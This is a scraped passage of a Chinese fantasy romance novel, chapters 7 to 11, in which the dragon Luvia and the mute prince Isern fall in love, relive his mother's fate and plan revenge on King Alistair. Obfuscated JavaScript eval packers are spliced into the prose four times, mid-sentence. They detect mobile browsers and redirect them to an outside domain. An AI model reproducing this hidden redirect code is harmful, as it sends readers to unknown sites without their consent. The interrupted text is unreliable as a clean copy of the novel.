p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265983|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,他终于抓住了龙脊背上隆起的骨刺,跨坐在一片背板上。背板的形状如此合宜,稳稳当当,正好卡住他,简直像一匹骏马自带马鞍。 可是,哪有龙生下来是为了给人骑的?他猜测,也许龙会把幼崽驮在背上,这样就解释得通了。 隔着厚硬的半透明鳞片,他隐约听到龙搏动有力的心跳声。蓦然间,伊瑟恩觉得,她是真心对他好。 人的心灵很脆弱,脆弱到承受不住一个冰冷的眼神;人的心灵又很坚韧,只要得到一点温暖,就可以恢复生机。 伊瑟恩,不要再像个委屈的孩子似的,只会哭着在地上打滚。去面对这一切。 先别急着绝望。不是还有龙女士么?露维亚在乎着你啊…… 露维亚带着他飞过森林,飞过群山,飞过亮晶晶的湖泊,飞过积木块一样的人类城市。 随着风吹扬他的头发,吹干他的眼泪,一种比感激和敬佩更奇异的情感悄然生发,温柔地吞噬了伊瑟恩的心。 诺克雷,王都。 露维亚调整了自己的外貌,她把眼睛的颜色变深了一些,使之看上去像金棕色,这在人类中比较常见,又把瞳仁改成了圆形。 然后,她带着伊瑟恩穿街过巷,直奔米亚上次带她吃蓝莓馅饼的地方。 “米亚说,这是吃了就能开心的馅饼。” 伊瑟恩点头,新鲜出炉的蓝莓馅饼热气腾腾,确实很好吃。 “米亚说,下次见面,她会把她的哥哥介绍给我认识。” 伊瑟恩一愣。 手里的馅饼突然就不香甜了,焦酥的饼皮像干巴巴的腊,流出来的热馅除了烫嘴没别的感觉。 两个女孩见面,干嘛叫上哥哥?哥哥……是好人吗? 他开始比划,问:“她是谁?” “米亚么?”露维亚一边大口大口地吞咽馅饼,一边含糊地说,“五天前认识的,我们是朋友。” 朋友? 他犹豫着,放下馅饼,小心翼翼地用手背碰了一下露维亚的胳膊,然后看着她的眼睛,指了指她,又指了指自己:“那么你和我,是什么?” 露维亚想都没想,脱口而出:“主仆。” 伊瑟恩感到失落。可龙女士早就说过的呀,不该妄想更多。是他贪心。 然而,没过多久,露维亚撤回了自己的说法:“算了,不做主仆。我决定对你好一些。” 好一些?难道,还可以再好吗…… 在伊瑟恩心慌意乱之际,露维亚把嘴唇凑过来,在他耳边小声发问:“你帮我解开诅咒,我帮你杀掉仇人,互相帮助,一起生活。你开心,我也会开心。你苦闷,我也跟着犯愁。这种关系,人类把它叫什么?” 伊瑟恩突然变得胆大包天。 他轻轻握住露维亚的手,示意她把手摊开,然后伸出食指,在她红润又柔软的手掌心里缓慢地划弄:“相爱。” 写完之后,他才开始心虚。 他垂下头,等待露维亚的宣判。 露维亚微微蹙眉,在记忆之海里搜寻了一会儿。她眨了眨眼睛,瞳孔微微颤动,然后,她绽出一个足够把任何人迷晕的美丽笑容。 “果然是这样啊!” 她觉得相爱很好。 他们应该相爱。 8. 第 8 章 伊瑟恩渴望温暖,斗胆说出了他所知的最奢侈的情感。露维亚想要陪伴,根据记忆和知识,判断爱是很好的东西。他们两个都不够成熟,才会轻易地把爱说出口。 然而,爱是一句咒语,言出法随。草率地说完相爱之后,他们的关系似乎真的开始亲近了。 回到龙窟,伊瑟恩花了一点时间向露维亚介绍自己乏善可陈的人生,然后,他开始主动问露维亚一些问题。 比如,龙有什么习性,其他的龙在哪里,除了为龙角涂油,他还能为露维亚做点什么。 露维亚逐一回答。 “我不需要你做更多。”她想到什么,忽然问,“伊瑟恩,月亮到底什么样?” 他在空气中画了一个圆,画出不同的月相。 露维亚摇了摇头:“难道,月亮是被咬掉一大口的馅饼?” 伊瑟恩伸出双手,手指不断聚拢、张开,做出发光的样子,围着露维亚的脸庞闪烁。 “好吧,想象不出来,到时候我们一起去看看。” 她很自然地搂住伊瑟恩的腰,这是龙的习惯,要用尾巴勾住猎物身体的中段,才好发力将其提起来。 不过,此时此刻,露维亚觉出这样做有点怪。当她靠近伊瑟恩,这家伙在发抖。 “你很冷么?” 伊瑟恩摇头。 “又在害怕,又在恐惧?” 伊瑟恩还是摇头。 “那你怎么回事啊!” 伊瑟恩只好对她做出同样的动作,轻轻把手搭在她的侧腰,看着她的眼睛,像在说:这回,你知道是什么感觉了。 露维亚怔住,她觉得与他接触的地方变得很痒,好像有什么轻而暖的东西冒了出来,蔓延全身。 她忽而笑了,直白地说:“我很喜欢啊。” 伊瑟恩的脸红得快要滴血。 为什么她可以如此坦率?难道她的心是一颗剔透的钻石,坚硬到谁也无法碾碎它,璀璨到引出一个最卑微的人藏在心底的贪婪。 他很紧张,但他没有松手,都说了是相爱的关系,可以这么做的吧。她说喜欢,他也……他也很喜欢。 下午,他把自己知道的关于阿利斯塔的事写在黑板上。 阿利斯塔是先王排在中间的儿子。 先王的第一任王后留下一位王子,一位公主之后,生病去世。 阿利斯塔的母亲是国王的第二任王后,出身高贵,是波丰帝国的皇女。波丰帝国是大陆北部最大的帝国,有着辉煌的历史,灿烂的文明,广阔的疆域,数不尽的财富。 然而谁能想到,波丰帝国在一场战乱后四分五裂,竟永远地消失在地图上。阿利斯塔的母亲没能给希尔弗带来符合预期的利益,很快失宠,郁郁而终。 先王另娶了第三任王后,这位王后生了一位王子,两位公主。 最后,阿利斯塔把这些同父异母的兄弟姐妹全都杀死了。 露维亚问:“他不杀你,因为你最没威胁,对么?” 伊瑟恩点头。他年纪最小,妈妈连贵族都不是。他只是先王一时兴起,临幸除尘女仆的产物。 他擦了黑板上密密麻麻的字,继续写。阿利斯塔是“神眷者”,神明予他强悍的身体,人们说他刀枪不入,身体不朽。 “听上去,他得到的神眷是一种强化。可是,人类的身躯绝对无法不朽,肉-体和心灵一样重要,是人之所以为人的要素。身体属性强化到那个程度,阿利斯塔就不再是人类了。” 露维亚分析了片刻,说:“会不会是自愈能力?” 伊瑟恩觉得有可能。 他从来没见过阿利斯塔受伤,尽管他身上总是有血。 “那么,他付出了什么代价?神王可不会白白给他能力。”露维亚撇了撇嘴,“神王,哼。” 这伊瑟恩就不知道了,他丢失了很多记忆。 记忆…… 他突然指了指镜子,又指了指自己的脑袋,闭上眼睛,做了一个睡觉的姿势。 “你想借助幻象,找回失去的记忆?” 伊瑟恩点头。 露维亚缓缓看向他,说:“你是人类。如果你忘记了一些事,一定是因为心灵无法负担。” 没错,忘记会轻松一点,可是伊瑟恩不想再这样了,至少,他想要记起妈妈的脸。 如果连对方到底做了什么都不知道,还谈什么复仇?他得把账算清,一笔一笔地让阿利斯塔奉还。 这种想法让他温顺的神情变得坚定起来,露维亚微微惊讶。显然,她欣赏他现在的样子,这也是她第一次觉得伊瑟恩英俊。 他有点像一朵被石头压住的花,仿佛马上就要消殒,悲哀地美丽着。然而,只要稍微得到一些阳光和水,他就会大胆地酝酿出最疯狂的希望,幻想有一天能把石头粉碎、掀翻。 再看他的蓝色眼睛,露维亚便不可控制地开始想象他一边掉眼泪,一边狠狠捅仇人刀子,眼眶因兴奋而通红的模样了。 一定很畅快。 “伊瑟恩,你靠近我一点。” 伊瑟恩照做,露维亚毫无征兆地吻住了他的嘴唇。 柔软的触感之后是剧烈的疼痛,当龙的尖牙刺穿他的黏膜,伊瑟恩紧紧地弓起腰,身体不受控制地抽动。她把有治愈功能的龙涎注入到伊瑟恩的面部,由此渗入心灵。 “我把你的心门变松了一点儿,提前上了止痛药。”她顿了顿,用一种很凶巴巴的语气关心他,“但这可能根本没用,如果你有什么好歹,我岂不是前功尽弃?所以你最好给我……” 但是伊瑟恩已经什么也听不见了。 过量的治愈让他眩晕,有点像麻醉剂,亦或者让他晕眩的不是龙的涎液,而是露维亚腥甜的吻,还有她给的游戏般的爱情。 他怎么会不知道,龙和人类理解的相爱可能不太一样。 但是接下来他要面对的噩梦也许是比妈妈的死亡更恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265984|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怖的事情,伊瑟恩从灵魂深处生出寒意,迫使他不得不抓紧身边最温暖的东西。 露维亚,亲爱的龙女士,就这样爱我吧,不是真的也没关系。 夜幕降临,幻象从镜心丝丝缕缕地飞出,钻入他们的梦境。 梦中,伊瑟恩回到了幼年的某一天。 走廊里响起沉重的脚步声,鹿皮靴底踩踏着木地板,由远及近。阿利斯塔破门而入。 “我那如太阳般荣耀的父王到底要留给我多少兄弟姐妹。”他笑得有些神经质,“这里竟然也藏着一个小杂种。” 一双柔软的手捂住了伊瑟恩的嘴,阻止他乱讲话。 妈妈,在他身后的人是妈妈。 妈妈颤抖着说:“殿下,您吩咐我做的事我已经做了,能否恩准我带着伊瑟恩离开王宫?我们今生今世都不会再回来了!” “离开?今生今世……”他重复了一遍,反问,“凭什么呢?凭什么你们可以离开这里?” 妈妈惊惶到结巴:“可是您说,只要、只要从陛下的书房找到那个卷轴……就……” “我让你找卷轴,让你勾引国王了么?我让你跟他上床了么?我让你生下这该死的孩子了么?嗯?”他愈发狂怒,声音却压得极低。 “不?我没有……我不是自愿的,我没有勾引陛下……”她拼命地自证,想要阿利斯塔相信她。 “你想说,父王对你这样低贱的人感兴趣?呵呵。”他听到了很好笑的话,气道,“可我听说,女人如果不愿意,这件事是成不了的。” 阿利斯塔突然愣了愣,他在观察她的样貌和身材。 “你当时真的有反抗么?告诉我。” “真的,我真的尽全力反抗了……”她因屈辱而流泪,声音小得像蚊子。 阿利斯塔很年轻,几乎刚刚离开少年,步入青年,但他已展露出惊人的残酷。 明明是他想利用这个除尘女仆,把她安插到国王身边,许诺会给她回家的机会,并提供一笔丰厚报酬。目的达到后他却开始嫌弃自己的工具成了父亲的玩具。 他笑了笑,说:“好,你会有机会证明给我看的。” 伊瑟恩在妈妈的怀中艰难地呼吸,直到鹿皮靴的声音远去,妈妈的手才松开。 她隐隐意识到了什么,又恐惧,又恶心……不由全身发抖,却努力让自己的语气变得轻松,骗过一个小孩子,总是很简单的,不是吗? “别害怕,伊瑟恩。殿下说会送我走。妈妈会在老家盖一间小房子,养一些小鸭。你喜欢小狗么?也可以养小猫……你可以和外边的孩子一样,拥有很多玩伴。” 她真心实意地笑了笑:“咱们可以离开的,一定可以离开。” 伊瑟恩的心如坠冰窖,他知道妈妈的结局,她再也没能回到家乡。 妈妈,你的家在哪儿,我的家在哪儿? 妈妈,你叫什么名字啊…… 梦到这里,幻象结束了。 9. 第 9 章 露维亚曾以为自己会愿意见到伊瑟恩的眼泪,因为那是亮晶晶的东西。然而,和他分享了往事,决定要相爱之后,弱点就把他们连接到一起。 人类丰沛的情感影响了龙,她一点都不想让这个人流泪,让这颗心碎掉。 “有想起什么吗?”这么问有点残酷,可她也不知道该怎么问。 伊瑟恩缓缓点头,扭身要去取黑板和滑石笔,露维亚拦住了他。 “等等,”她张开双臂,把伊瑟恩搂进怀里,实实在在地抱住他,把下巴搭在他的肩头,“你有点冰凉。” 他僵硬地在她的怀抱中解冻,过了一会儿,体温恢复了正常,甚至有的地方开始变得太热了,被噩梦魇住的恐惧消去了不少,隐秘陌生的恐惧又升起来。当露维亚把手铲进他的衣服,在他的胸腹上游走时,他再次战栗。 温热的手指与尖利的指甲,带来矛盾的触感。她好像在数他的骨头,划过他肌肉·缝隙之间的棱。 伊瑟恩对发生的一切都感到困惑。 “你太瘦了。” 说完,她开始轻轻地用手掌摩擦他的两肋,揉着揉着,她停下来,突然醒悟,爆发出大笑。 “你根本没有翅膀,翅膀下也没有囤带,我竟忘了。” 囤带,那是什么呢? 她以一种在人类眼中坦然到近乎放荡的姿态,抓住他的手,引他去触摸自己。 “你能感觉到吧?这里有两条能量带,存着尚未被完全吸收的魔力。母龙会揉搓幼龙的囤带,让幼龙长得更快。” 好奇妙的知识。 不,不……得把手撤出来。 他第一次违抗露维亚,用力把手从她怀里抽离。 “真讨厌,伊瑟恩,”露维亚愠怒道,“难道,我不能长得和你不一样么?” 根本不是这个缘故!他不知道该怎么解释。胡乱地打手语:对不起、我不知道、原谅我…… 她哼了一声。 她隐约觉得人类可能对与自己相似,又不完全像的东西感到恐惧。 于是露维亚化为龙型,张开翅膀,向伊瑟恩展示自己的翼下结构。那是一团延伸到膜翼上的组织,被几片薄薄的软鳞覆盖着。 伊瑟恩慢慢走向她,伸出手,小心翼翼地抚摸。 他知道再不按露维亚说的做,她不仅会生气,还会追问到底为什么不愿意碰她。到那时,他又该怎么回答呢? 他按照露维亚说的那样,揉搓这些包裹着能量的软肉,尽量不去想她的人形。 久违地得到慰藉,露维亚惬意地眯着眼睛。 “你……”露维亚说出一个词之后,下一个词迟迟没有出来,想到伊瑟恩根本听不懂龙语,她又无所谓起来,“别离开我,第十一个。” 伊瑟恩没听懂,但他知道“第十一个”是在叫他,于是认真地点了下头。 露维亚,我在,我在这里。 人类做不到像露维亚那样把记忆分门别类地存放,但整理回忆,使之变得有序,确实可以缓解痛苦。 “阿利斯塔在国王的书房找到了一个卷轴。” 写下有用的线索之后,他完成了一次对悲伤的过滤。 “我感觉那卷轴里有神眷的秘密。” 这下,露维亚也有些好奇。她本想直接把那个什么阿利斯塔烧死算了,让伊瑟恩心情好点,自己破解诅咒才会顺利。 但伊瑟恩脑子里有别的计划。 那么她就等等看吧。 露维亚故意在希尔弗上空飞得很低,让人们可以看到她背上的伊瑟恩。她想用这种方式恐吓阿利斯塔,以及那些曾欺负伊瑟恩的家伙。 “颤抖吧!准备迎接王子的复仇之火!他已得到真龙的支持!” 可惜,她完全搞错了。 人能伤害他人就说明他根本没有良心,不会反省。他只会按照自己的逻辑去理解一切。 希尔弗人把情况禀告给他们的国王阿利斯塔,陛下只是笑了笑,“看来我那弟弟把恶龙伺候得不错。既然她满意我送的礼物,就不会再来闹了。” 大臣们纷纷赞美他英明,说他为国家做出了牺牲。至于真正被牺牲掉的伊瑟恩王子,反而没有人去感激。 侏儒弄臣挤眉弄眼地说:“啊呀!原来,伊瑟恩殿下真的可以做到!他的腰明明那么细!骨盆不会被龙坐碎吧?” 本该严肃的大殿里有人发出几声压抑的笑。随着阿利斯塔开始大笑,他们终于一起爆笑出声。 阿利斯塔说:“诸位,聊正事吧,我们怎么才能在冬天到来之前拿下诺克雷?” 有人说:“我们应该从守备最薄弱的西隘进入。” 有人说:“翻过圣山打它们一个出其不意!” 总算有人理性尚存:“或许……只挫败对方,不侵入领土呢?只要在战争中取得优势,给诺克雷带来足够的威胁,我们就能持续地获取利益。” 话音刚落,阿利斯塔就说:“不行。” 他想要的不是一时的臣服,不是求和时送来的赔款,而是彻底把诺克雷并入版图。 这位大臣仍在劝说:“进入他国,想得到接纳基本是不可能的,统治的前期会异常艰难。尤其在历史上,诺克雷从来不曾是希尔弗的附庸,这无疑会让情况变得更加复杂。即便诺克雷王室覆灭,戴安女王亲自把权柄奉上,民间的反抗也不会停歇。” 显然,他认为希尔弗不是非吞并邻国不可,现在纯粹是为阿利斯塔的征服欲与野心开战! “反抗?”阿利斯塔似乎听到了一个荒谬的词,嘴角翘了翘,轻轻一嗤,“弱者的反抗是徒劳的。随他们怎么挣扎,只会为过程增加趣味,不是吗?” 这下,唯一反对的声音也安静下来。 “没错,陛下是战无不胜的神眷者!” 就让陛下用更多的战绩去证明这一点吧。在世界被强人的野心变成地狱之前,他们还可以再享受一段快乐的日子。 大臣们离开后,仆人熟稔地为阿利斯塔脱下披风、腰带与靴子,换上柔软轻便的常服与软底室内鞋。 侏儒弄臣谄媚地笑着,把阿利斯塔掉在地上的胸针捧起来:“何等暗淡的宝石!竟有幸去衬托太阳!” 弄臣长着一张滑稽可笑的脸,皮肤厚而光滑,头发稀疏,可以是十八岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265985|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到五十八岁的任何一个年龄,他就像一粒从来没有发过芽,所以也永远不会凋零的植物种子,时间没在他身上留下任何痕迹。 他也许是个可怜虫,但是他让人看了恶心。 阿利斯塔没有再碰弄臣手里的宝石。转而来到国王的书房,这里摆着一张华丽的实木书桌。他从左手边的抽屉里取出一卷羊皮纸,嘴唇无声地翕动,纸卷开始发光。 阿利斯塔安心了。 神眷还在。 他忽然对着空气笑了笑,用笑容掩饰一闪而逝的软弱,怕什么呢?他付出的还不够多么? 为了得到屠龙勇士大卫留下的卷轴,什么手段都用了。堂堂一国王子,没有任何可驱使的人,孤立无援,只能去收买最下等的女仆。 为了得到神眷,他失去了可爱的妹妹们。为了平息恶龙的愤怒,拯救民众于龙焰,他失去了最后一个弟弟。 他失去了所有亲人,他总在失去……他就这样沉浸在自恋的悲伤中,把自己都骗到了。 冰晶海。 露维亚在寒冷的海面上飞来飞去,冲撞冰层,剖取脂肪。 而伊瑟恩被他包在温暖的魔法火焰里,远远地坐在苔原的岩石上等她。 这么寒冷的地方,这么单调的风景,他竟有些喜欢。 他喜欢露维亚制造出来的,惊天动地的爆破声;喜欢龙和巨鲸拼尽全力的战斗,弱肉强食,残酷运转,但让人感到流动的生机;喜欢大自然摧毁一切,又养育一切的力量。 也许就是这个时候,伊瑟恩真正爱上了露维亚。 不再是廉价的感动,不再是想要回报的感激,不再是慕强,不再是寻求安慰,不再是情·欲的觉醒…… 过往种种都不是。 他把冰冷的空气吸入肺中,缓缓地吐出白色的热气,用力朝她招手。 巨龙飞过天空,伊瑟恩趴在她的背上微笑,爱让人变得积极。他开始设想一些有可能的未来。等所有噩梦都做完了,我们可以仰望夜空,看到月亮…… 回到龙窟后,露维亚熟练地吊起脂肪,等待油脂融化。然后,她化为人形,吃伊瑟恩从法阵里取出的人类食物。 这个法阵并非无中生有,而是感应着使用者的需求,以构建的方式,汇集各种基础元素。这样做出来的食物也许“没有灵魂”,但绝对是此刻伊瑟恩最想吃的东西。 “你怎么这么喜欢吃南瓜?” 伊瑟恩想了想,记忆依然空白,但又有什么猜不到的?妈妈,一定是妈妈喜欢的食物吧。 包括露维亚穿着的这条方领高腰的裙子。这种陈旧朴素的款式,准是妈妈穿过的。 露维亚眼睛闪了闪,说:“不同地区的人类,烹饪食物的方式应该也不一样。黄油,连着南瓜籽一起烤熟了,让我想想在哪儿见过……” 谁料,露维亚突然瞳孔涣散,感到天旋地转,迎来了自己第一次心灵过载。 是因为思考太多了吗? 还是因为与人类无意义的相爱? 她的大脑粥一样地沸腾了,记忆不断翻涌,头颅简直快要开裂。 “伊瑟恩……我……” 10. 第 10 章 心灵过载是一场暴风雨。 生命中几乎所有的事件和细节,颜色、气味、触感、声音,全都涌现出来。她的时间感知出现了扭曲,她有些分不清现在是否正在进行,还是说,现在就是过去? 她失去了可以锚定意识的坐标,宛如一叶小船被冲到无边无际的波浪中。曾经不在意的琐碎小事变成了密密麻麻的食人鱼,它们涌过来,要开始分吃她了。 “嘀嗒——嘀嗒——” 巨鲸的油脂在融化。这样的声音听过多少次?一小块脂肪完全融化要响两百万下。 “嘀嗒——嘀嗒——” 这其实也很像流血的声音。谁的血?迦娜的血。从云层上泼下来,挂在露维亚的眼睫毛上,和眼泪混在一起。 “嘀嗒——嘀嗒——” 因为看见了太多,她反而什么也看不见了,就好像失明。她往前迈步,不确定脚下是否有平坦的地面,狠狠地摔了一跤。 然后,心灵的混乱影响了身体。 露维亚开始控制不了变形。一会儿化龙,一会儿变成人。这样的过程反复几次之后,她彻底崩溃——鳞片和皮肤,手指和爪子错乱地组合在一起。 喉咙里说不出龙语,也无法准确地完成人类语言的发音。她痛苦地扭动着。 伊瑟恩慌张地抱住她的头,阻止她伤到自己,他也只能抱住她的头,因为其他部位都没了形状。一条女人的大腿,一条扭曲的尾巴,时隐时现的鳞片、乱颤的翅膀……像是什么被缝错了的布娃娃。 “啊!啊——” 她只能这样叫唤,什么呀,到底发生什么了? 答案是:一切。一切都在同时发生。 伊瑟恩努力冷静,尝试抓住她的“手”,锋利的、刀刃一样的龙爪划破了他的皮肤。飘散的血腥味让情况变得更糟,露维亚负担不了任何新增的信息。 怎么办?怎么帮她? 情急之下,他冒出一个闪念,如果心灵过载是因为知道太多了,那么,关掉一些感官,减少打扰,应该能让她舒服些。 他跑去法阵,取出柔软的丝带,还有一张巨大的天鹅绒毯子。 伊瑟恩蒙住露维亚的眼睛,堵住她的耳朵,然后用毯子把她包裹起来。 恍惚间,露维亚觉得自己回到了蛋壳里,抵达一切记忆的起点。柔软、幽暗、漆黑,最重要的是:安静。 他小心地守着她,不弄出任何声音。直到入夜,伊瑟恩轻轻趴下,睡在露维亚旁边。 他梦见了很无聊的事。 阿利斯塔辞退了伊瑟恩的老师。 那老师也不是什么好人,没教他什么东西,总是用藤条抽打他的小腿。 唯一让伊瑟恩感到遗憾的,是他把所有写了字的纸都带走了。 伊瑟恩突然觉得这些往事也没什么,是的,他被人很糟糕地对待过,可是,难道要任由这些经历持续地影响他么?难道他会被这些无关紧要的人毁掉么? 他抽离地看着幻象中的种种,心中生出一股轻蔑。他们不值得自己去害怕。 这和露维亚遭受的日日夜夜相比,算得了什么呢。三百年是多久?伊瑟恩根本无法想象。 次日。 露维亚比伊瑟恩醒来还早,披着毯子,一双明亮的金色眼睛直勾勾地看他。 “伊瑟恩,我吓到你了么?” 他摇头,揉了揉眼睛。他迫不及待地掀开她的毯子,使露维亚的身体展露出来,垂头看向她的手和脚,真好,露维亚看上去没事了。伊瑟恩的脸上绽放出一个极其明亮的笑容。 他很高兴。露维亚心里清楚。 可她不觉得发生了什么值得高兴的事情。不就是……恢复了原样么?心灵过载如意外到来的坏天气,来了,然后走了,仅此而已。 她困惑地皱了皱眉头。 当她看见伊瑟恩受伤的手臂,露维亚熟练地伸出舌头舔舐他,同时,心中产生了一丝怪异的贪婪,她想再用力一点吮吸,卷住他的手指,把他整个人都吞了,咽进肚子里。 哦,他在脸红。 因为疲惫,露维亚无意深思,不再琢磨到底为什么伊瑟恩会这样羞涩。她感觉伊瑟恩简直僵住了,可是,管他为什么呢!人类本来就是很奇怪的,这家伙经常脸红。 下午,她带着伊瑟恩一起去赴米亚的约会。 “露维亚!哦,你的朋友可真英俊。”米亚兴奋地说,把自己的哥哥往前一推,“这是我哥,菲利。” “你好,露维亚小姐。” 露维亚也把伊瑟恩往前推:“他叫伊瑟恩。” 伊瑟恩欠身鞠躬。 “哈哈哈,原来你并非孤身一人!” “是的,我们在一起。” 米亚有些好奇,偷偷打量了伊瑟恩几眼,认为这个人和露维亚在外貌上还算相称,眼神也比较干净,不像坏人。 可惜这种好印象没能持续,她很快察觉伊瑟恩一语不发。 “你不愿意和我们说话,是不是?”米亚不太高兴地问。 她以为这男人自视甚高,待人冷傲。不尊重恋人的朋友,说到底不就是没把露维亚当回事么? 伊瑟恩忙用手指了指喉咙,摇摇头。 米亚只好把心里原本想说的话咽下去,无措地挠挠头:“原来……你们,唉,你们真是两个苦孩子!” 菲利笑盈盈地插话:“两个苦孩子凑一块就不是苦孩子啦,你们会越来越好的。” “对对,准会好起来的!”米亚由此想起正事,说:“我哥给一位画家做衣裳,得了个消息。女王要在广场上立一尊复仇女神雕像,画家在寻模特呢!露维亚,你壮实又漂亮,正好去赚这个钱!” “复仇女神?”露维亚纳闷,这位神祇明明还没有出生啊,忙追问,“是诺克雷传说里的神吗?” 米亚一知半解,菲利也说不上所以然。 不过,菲利笑了笑:“露维亚小姐,咱们直接去问问画家先生不就行了么!正好让他看看你。” 在认识伊瑟恩和米亚之前,露维亚从来不曾想过要向人类请教什么。现在看来,这不对。个体的长寿导致龙没有历史,而人类的一生实在短暂,所以,他们会把知识代代相传。 露维亚决定谦虚一些,去找画家一探究竟。 “好,请带我去吧。” 不多时,他们抵达了一间摆满画框、颜料与半成品的工作室。头发乱糟糟的老人和他系着围裙的助手,也是他的女儿一齐抬起头,看向门口。 父女二人同时发出惊呼。 “奇迹!我看到了奇迹!” 他们一左一右围住露维亚,很明显,这对父女是真正的艺术家,他们欣赏伊瑟恩这个标准答案一样的美男子,但热情有限,对仪表不凡的露维亚则不吝赞美,语气像诗朗诵一样夸张。 “这位小姐,你一定要留下来给我们做模特!你那凌厉的眼神,飞扬的神采,高大的身材,以及说不出来的一股子……” 他女儿立刻接上: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265986|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天真!不驯!复仇女神难道是深思熟虑才决定复仇的么?不!她只是遵循自然,像雷暴,像野火。冒犯她的人必受惩罚,她的复仇天经地义!小姐,你可真合适啊!” 米亚已经听不懂他们在说什么了。不过,她听出自己的朋友八成能挣上这个钱!她为露维亚高兴。 菲利也喜滋滋的,他乐于扮演一个有用的中间人,他朝画家的女儿笑了笑。 好心的裁缝兄妹离开了这里,去忙自己的事情。画家父女一边指导露维亚摆姿势,一边画速写。 他们为她介绍众神的来历。 “元初神创造了世界,然后力竭而亡。不知过了多久,新的神明诞生,他们执掌不同的能力,住在神界。最初,神界并不平静,年轻的神王与神后经常吵架。有一次,争吵演变成了战斗,神后用剑砍掉了神王的头。” 露维亚:“……” 完全没听说过。 神界怎么会不平静?神界秩序森严到有些无聊的程度了。哪儿来的神后?若有神后,神王又何必从人间选妻? “露维亚小姐,脸往左侧一些。” 画家的女儿拿出一把纸壳做的宝剑道具,让她扛在肩上。 “当然,神明砍掉头也不会死。不过,从那之后,神王对神后展现出的实力产生了嫉妒。于是,祂趁神后怀孕,把神后和孩子都吃掉了。预言之神说,那个还没出生的神,就是复仇之神。” 露维亚若有所思:“所以复仇之神不一定是女神。” 画家的女儿声音低下来,狡黠地挤了挤眼睛:“当然了,神明的事,谁说得清!我们只是需要一个提振士气的故事。” “故事?” “希尔弗的国王是神眷者,如果我们能在广场树立一尊复仇女神的雕塑,使人们知道,连神王都在害怕被女神推翻,女人的愤怒不容小觑。这不是很棒么?” 露维亚总算听懂了。 这是戴安女王的战前宣传。人类很擅长说谎,连勇气都可以被“骗”出来。 死去的神后、被吞吃的复仇之神、不断从人间掳掠的神妻、阿利斯塔得到的神眷……事物之间似乎存在着关联。 她伫立沉思,一束阳光透过窗帘侧打在她的轮廓分明的脸庞上,伊瑟恩痴迷地看着她。 当露维亚注意到他时,伊瑟恩不自在地把视线挪开。他有种做坏事被抓住的感觉,心里不停打鼓。 他想知道露维亚会如何看待自己,她是否能发觉她的祭品、仆人、玩伴已经逾越界限,真心爱上她了? 炭笔不断发出沙沙声。约两个小时后,画家停了下来。 “今天就到这儿吧。”画家付了日结的工资,又说,“你们可以去参观我的画廊。” 于是露维亚和伊瑟恩进入工作室西侧一座宏伟建筑,这里陈列着大幅油画,多为风景画,露维亚看得乏味,她觉得画中风景远远比不上真实的自然风光。 她走马观花,心不在焉。突然被一组大理石雕像吸引了注意。 “伊瑟恩,这两个人为什么要用这种姿势拥抱?” 伊瑟恩倒吸一口凉气。他用眼神寻找画家父女,想请他们给出艺术角度的专业解释。可人家早不知道去哪儿了。 他慌张地比划了两下,根本说不清楚,他也才刚满十八岁。 露维亚感到莫名其妙,他紧张个什么劲啊!石头而已。她围着雕塑转了两圈,眼睛轻微地发光。 她打了个哈欠,说:“伊瑟恩,我们回家吧。” 11. 第 11 章 露维亚给画家父女做了几天模特,听够了故事,赚到了钱。她听取伊瑟恩的意见,按人类的一般喜好,给米亚和她哥哥菲利送了些合适的礼物。 结束这份工作后,他们重新回到规律的生活。 白天一如既往地涂油,养护龙角,偶尔狩猎,去海岛或某个风景优美的地方打发时间。晚上就缩在一起做噩梦。 只不过,他们心里已没有了不幸的感觉,因为一睁眼就能见到对方的脸。 露维亚很自然地搂他,抱他,有时,也会闹着玩儿似的亲亲他的脸颊,令伊瑟恩喜悦而煎熬。 他分不清这是爱情,还是露维亚作为龙的本能。并且,他不确定自己是否有必要去分辨,他本来就是被献给龙女士的祭品,只要露维亚高兴,让她玩玩儿又怎么了。 伊瑟恩躺在海岛柔软的沙滩上,思绪不断飘远。 这时,露维亚背着手走到他身边,问,“你在想什么?” 她的脚步悄无声息,把他吓了一跳。伊瑟恩摇头,扭身坐起来,在沙子上写:“我在想,龙究竟能活多少岁。” 露维亚没有直接回答,只说:“我现在相当于你们人类的二十岁。” 